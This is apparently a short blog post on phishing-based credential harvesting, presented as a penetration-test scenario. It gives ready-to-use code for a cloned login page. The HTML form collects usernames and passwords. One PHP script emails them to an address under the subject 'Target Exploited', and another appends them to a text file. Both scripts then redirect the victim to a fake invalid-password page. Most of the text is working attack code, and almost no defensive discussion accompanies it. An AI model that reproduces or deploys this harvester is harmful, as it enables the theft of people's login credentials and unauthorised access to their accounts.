#credentialharvesting

Read the full report on -

Read the full report on -

HTML and PHP Code In this scenario we want to bypass the e-mail filtering and go straight for the Domain Credentials of the target(s) in Scope. Form HTML Code that you would add to your cloned site will look something like this:

<form action="login.php" method="post">

<input type="text" id="username" name="username"/> <input type="password" id="password" name="password"/>

<input type="submit" name="Login" value="Login"> </form>

Next we need to create the login.php script. This will depend on how you would like the credentials stored. I will post the examples for both E-mail Delivery and Save-to-file options:

Email

<?php if ($_POST['submit']) { $message = "username: " . $_POST['username'] . "\n"; $message .= "password: " . $_POST['password'] . "\n"; $to = "[email protected]"; mail($to, 'Target Exploited', $message); } ?> <script>location.href='http://www.site-redirect.com/login.php?invalid_password_link';</script>

Save-to-file:

<?php if ($_POST['submit']){ $myFile = "credentials.txt"; $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "username: " . $_POST['username'] . "\n"; fwrite($fh, $stringData); $stringData = "password: " . $_POST['password'] . "\n"; fwrite($fh, $stringData); fclose($fh); } ?> <script>location.href='http://www.site-redirect.com/login.php?invalid_password_link';</script>